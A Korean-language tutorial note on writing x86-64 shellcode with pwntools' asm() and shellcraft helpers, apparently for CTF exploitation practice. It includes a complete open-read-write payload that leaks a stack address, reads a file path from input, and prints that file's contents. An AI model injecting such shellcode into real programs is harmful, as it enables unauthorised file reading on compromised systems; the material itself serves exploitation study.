shellcode shortcut
상위문서 → pwntools shortcut
C
shellcode = asm("sub rsp, 0xd0")
shellcode += asm("pop rsi")
shellcode += asm("shr rsi, 32")
shellcode += asm("mov r12, rsi")
shellcode += asm("xor rdi, rdi")
shellcode += asm("push rsi")
shellcode += asm(shellcraft.write( 1 , "rsp" , 0x8 ))
shellcode += asm("push 0x6e7770")
shellcode += asm(shellcraft.write( 1 , "rsp" , 0x3 ))
shellcode += asm("mov rsi, r12")
shellcode += asm("mov rdx, 0x20")
shellcode += asm(shellcraft.read( 0 , "rsi" , "rdx" ))
shellcode += asm("mov rsi, r12")
shellcode += asm(shellcraft.write( 1 , "rsi" , 0x8 ))
shellcode += asm("mov rdi, r12")
shellcode += asm(shellcraft.open( "rdi" , "O_RDONLY"))
shellcode += asm("mov rdi, rax")
shellcode += asm(shellcraft.read( "rdi" , "rsp" , 0x30 ))
shellcode += asm(shellcraft.write( 1 , "rsp" , 0x30 ))일단 이글은 pwntools로 shellcode를 깔끔하게 작성하기 위한 shortcut 파일이다.
기본적으로 asm() 함수와 shellcraft 함수를 병행하면서 셸코드를 작성한다.
basic - asm()
모든 것에 기본은 asm() 함수로 우리의 어셈블리를 기계어로 변환한 바이트를 반환한다.
기본적인 사용은 일단 intel syntex로 어셈블리어를 작성하면 된다.
C
shellcode = asm("sub rsp, 0xd0")
shellcode += asm("pop rsi")
shellcode += asm("shr rsi, 32")
shellcode += asm("mov r12, rsi")
shellcode += asm("xor rdi, rdi")상수는 hex와 int형 둘다 지원이 된다.
여기서 중요한점이 있다.
다음과 같이 imm64 사용이 상당히 제한되어 있기에 이를 생각해서 셸코드를 작성해야 한다.
basic - shellcraft()
C
shellcode += asm(shellcraft.read( "rdi" , "rsp" , 0x30 ))
shellcode += asm(shellcraft.read( 0 , "rsi" , "rdx" ))
shellcode += asm(shellcraft.write( 1 , "rsp" , 0x3 ))
shellcode += asm(shellcraft.write( 1 , "rsi" , 0x8 ))
shellcode += asm(shellcraft.open( "rdi" , "O_RDONLY"))pwntools 에서 사실상 셸코드의 끝판왕으로 상수 , 레지스터를 마음대로 조작이 가능하다.
기본 rdi , rsi , rdx 같은 calling convention을 유지할수도 있고 , 상수를 넣을 수도 있고 , 다른레지스터를 넣을 수도 있다.